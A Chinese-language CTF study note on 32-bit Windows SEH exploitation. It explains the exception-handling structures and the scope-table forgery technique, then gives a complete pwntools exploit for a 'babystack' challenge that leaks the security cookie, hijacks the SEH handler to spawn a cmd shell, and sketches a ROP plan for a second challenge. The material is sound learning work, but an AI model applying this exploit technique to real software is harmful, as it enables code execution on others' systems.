window_pwn https://www.anquanke.com/post/id/188170#h3-1
SEH相关数据结构 TIB结构 TIB
,即线程信息块,是保存线程基本信息的数据结构,它位于TEB
的头部。TEB
是操作系统为了保存每个线程的数据创建的,每个线程都有自己的TEB
。
TIB结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 typedef struct _NT_TIB { struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist ; PVOID StackBase; PVOID StackLimit; PVOID SubSystemTib; union { PVOID FiberData; ULONG Version; }; PVOID ArbitraryUserPointer; struct _NT_TIB *Self ; } NT_TIB;
在这个结构中与异常处理有关的第一个成员:指向_EXCEPTION_REGISTRATION_RECORD
结构的Exceptionlist
指针
_EXCEPTION_REGISTRATION_RECORD 结构 该结构主要用于描述线程异常处理过程的地址,该结构的链表描述了多个线程异常处理过程的层次关系
结构如下:
1 2 3 4 typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next ; PEXCEPTION_ROUTINE Handler; }EXCEPTION_REGISTRATION_RECORD;
结构如图所示:
格式化之后的这个结构体中的*Next
必须是原来的,所以我们要事先泄露出来原*Next
SEH范围表结构 在Scope表中保存了__try
块相匹配的__except
或__finally
的地址值 结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct _EH4_SCOPETABLE { DWORD GSCookieOffset; DWORD GSCookieXOROffset; DWORD EHCookieOffset; DWORD EHCookieXOROffset; _EH4_SCOPETABLE_RECORD ScopeRecord[1 ]; }; struct _EH4_SCOPETABLE_RECORD { DWORD EnclosingLevel; long (*FilterFunc)(); union { void (*HandlerAddress)(); void (*FinallyFunc)(); }; };
windows pwn的关键就是伪造scope table
结构体,它的地址位于栈上的位置在ebp-0x8
,存入的值是和___security_cookie
异或者之后的结果,所以我们伪造它,就必须先泄露出来___security_cookie
的值
当程序触发异常后,会执行类似这样的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:00401B50 push ebp .text:00401B51 mov ebp, esp .text:00401B53 mov eax, [ebp+arg_C] .text:00401B56 push eax .text:00401B57 mov ecx, [ebp+arg_8] .text:00401B5A push ecx .text:00401B5B mov edx, [ebp+arg_4] .text:00401B5E push edx .text:00401B5F mov eax, [ebp+arg_0] .text:00401B62 push eax .text:00401B63 push offset j_@__security_check_cookie@4 ; __security_check_cookie(x) .text:00401B68 push offset ___security_cookie .text:00401B6D call _except_handler4_common .text:00401B72 add esp, 18h .text:00401B75 pop ebp .text:00401B76 retn .text:00401B76 SEH_4013A0 endp
调用了_except_handler4_common
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int ), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context){ scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8 )); framePointer = (char *)(sehFrame + 16 ); scopeTable = scopeTable_1; ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16 )); __except_validate_context_record(context); if ( exceptionRecord->ExceptionFlags & 0x66 ) { ...... } else { exceptionPointers.ExceptionRecord = exceptionRecord; exceptionPointers.ContextRecord = context; tryLevel = *(_DWORD *)(sehFrame + 12 ); *(_DWORD *)(sehFrame - 4 ) = &exceptionPointers; if ( tryLevel != -2 ) { while ( 1 ) { v8 = tryLevel + 2 * (tryLevel + 2 ); filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8); scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8); encloseingLevel = scopeTableRecord->EnclosingLevel; scopeTableRecord_1 = scopeTableRecord; if ( filterFunc ) { filterFuncRet = _EH4_CallFilterFunc(filterFunc); ...... if ( filterFuncRet > 0 ) { ...... _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16 ); ...... } } ...... tryLevel = encloseingLevel; if ( encloseingLevel == -2 ) break ; scopeTable_1 = scopeTable; } ...... } } ...... }
在函数中前置调用了scope table
结构体中的FilterFunc
函数和HandlerFunc
函数,那么我们就可以将这两个函数地址复制为我们的shell代码,当触发异常时就会执行shell代码,即可获取到shell
其他 通过查看我们发现在栈上还有一个特殊的值,位置在ebp-0x1c
处
而scope table
结构体地址在它的下面,所以我们必须还要格式化这个值。格式化它由两种方法组成,第一种消耗掉出去,构造payload的时候再填充进去即可;另一种方法就是计算出来:值=___security_cookie^ebp
感觉说这么多理论的也不是很能理解,遂做点题来理解理解
不过在64位下的SEH结构体就不在栈上了,利用会更加困难
window下ASLR的脆弱性: https://www.morphisec.com/blog/aslr-what-it-is-and-what-it-isnt/
DLL的基地址基于启动时随机化,DLL的基地址只在系统启动时会随机化,因此只需结合内存泄露或暴力破解等漏洞即可利用
ASLR不提供有关攻击的信息、发生攻击时ASLR不会发出警报
地址空间布局随机化 (ASLR) 旨在阻止攻击可靠地到达其目标内存地址。ASLR 的重点并非在于捕获攻击,而是在于使攻击难以得逞。
如果可执行文件或 DLL 文件未启用 ASLR 支持,则不支持ASLR。
例题 babystack
程序中有着10次的泄露数据,以及给了main和栈的地址,并且有着一个栈溢出的漏洞
因此考虑覆盖SEH结构体以达到getshell的目的
攻击流程:
1 2 3 4 5 6 SEH_scope_table = p32(0x0FFFFFFE4 ) SEH_scope_table += p32(0 ) SEH_scope_table += p32(0xFFFFFF20 ) SEH_scope_table += p32(0 ) SEH_scope_table += p32(0xFFFFFFFE ) SEH_scope_table += p32(shell_addr)
通过栈溢出对内存进行覆盖,使程序异常来触发执行原始的代码段(访问非法内存之类的,理论上来说我可以把返回地址填满null
,那么0x0000000
处无法访问,会触发SHE
;但是这题可以直接访问非法的内存)
这里有个比较容易出错的点就是在v9一开始的4个字节之后会被覆盖,因此要先用b'aaaa'
填充
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *from ctypes import *import structcontext.log_level='debug' path='./babystack.exe' r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda s,n :print ("\033[31m[" +s+" -> " +str (hex (n))+"]\033[0m" ) fmt =lambda string :eval (f"f'''{string} '''" , globals ()).encode() r64 =lambda :u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) local=1 def run (): if local: return process(path) return remote('127.0.0.1' ,1234 ) def debug (duan=None ): if local: if duan: gdb.attach(p, duan) else : gdb.attach(p) pause() p = run() ru(b'stack address = 0x' ) stack_address = int (ru(b'\n' ),16 ) leak("stack_address" ,stack_address) ru(b'0x' ) main_addr = int (ru(b'\n' ),16 ) leak("main_address" ,main_addr) ___security_cookie_addr=main_addr+0x2F54 sla(b'more?\r\n' ,b'yes' ) sla(b'Where do you want to know\r\n' ,str (___security_cookie_addr).encode()) ru(b'0x' ) ru(b'0x' ) ___security_cookie_value=int (ru(b'\n' ),16 ) leak("__security_cookie_value" ,___security_cookie_value) ebp_addr=stack_address+0x9C gs_addr=ebp_addr-0x1C next_addr=ebp_addr-0x10 sla(b'more?\r\n' ,b'yes' ) sla(b'Where do you want to know\r\n' ,str (gs_addr).encode()) ru(b'0x' ) ru(b'0x' ) gs_value=int (ru(b'\n' ),16 ) leak("gs_value" ,gs_value) sla(b'more?\r\n' ,b'yes' ) sla(b'Where do you want to know\r\n' ,str (next_addr).encode()) ru(b'0x' ) ru(b'0x' ) next_value=int (ru(b'\n' ),16 ) leak("next_value" ,next_value) shell_addr=main_addr+0x2DD SEH_scope_table = p32(0x0FFFFFFE4 ) SEH_scope_table += p32(0 ) SEH_scope_table += p32(0xFFFFFF20 ) SEH_scope_table += p32(0 ) SEH_scope_table += p32(0xFFFFFFFE ) SEH_scope_table += p32(shell_addr) payload = b"a" *4 +SEH_scope_table.ljust(0x80 -4 ,b"\x22" )+p32(ebp_addr^___security_cookie_value)+b"b" *8 +p32(next_value) payload+= p32(main_addr + 944 )+p32((stack_address+4 )^___security_cookie_value)+p32(0 ) sla(b'more?\r\n' ,b'1' ) sl(payload) sla(b'more?\r\n' ,b'yes' ) sla(b'Where do you want to know\r\n' ,b'0' ) irt()
1 2 3 4 Microsoft Windows [�汾 10.0.22631.5189] (c) Microsoft Corporation����������Ȩ���� D:\win_pwn\babystack>
总结一下:
如果在32位的windows下,要打SEH需要以下的条件:
泄露__security_cookie
(codebase+offset)
可以泄露栈上的数据(GS、next_value
)
2020qwb_stackoverflow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __fastcall main (int argc, const char **argv, const char **envp) { FILE *v3; FILE *v4; FILE *v5; int v6; char DstBuf[256 ]; v3 = _acrt_iob_func(0 ); setbuf(v3, 0LL ); v4 = _acrt_iob_func(1u ); setbuf(v4, 0LL ); v5 = _acrt_iob_func(2u ); setbuf(v5, 0LL ); v6 = 3 ; do { --v6; memset (DstBuf, 0 , sizeof (DstBuf)); puts ("input:" ); read(0 , DstBuf, 0x400 u); puts ("buffer:" ); puts (DstBuf); } while ( v6 > 0 ); return 0 ; }
可以显然看到有一个栈溢出和数据的泄露
基本上保护都开启了
思路:
首先泄露codebase的地址,为之后多次泄露地址做准备,之后泄露第一次的cookie然后就重新一次main
然后尝试泄露ucrtbase.dll的基址
ROP打system(“cmd”)
但是在栈上没发现直接的ucrtbase的地址,在windows的IAT中,类似Linux中的got表,通过泄露这个IAT的数据需要拿到程序的基地址
就不再多赘述
调试过程 首先通过win_server
1 win_server ./babyoverflow.exe 1234
将这个服务映射到本地127.0.0.1
的1234
端口上
然后就可以用pwntools来
1 remote("127.0.0.1" ,1234 )
来访问这个服务
然后通过x32dbg或x64dbg的文件->附加->选择对应的进程pid,就可以进行调试辣
记住在python脚本中要在准备调试的地方前用pause()停下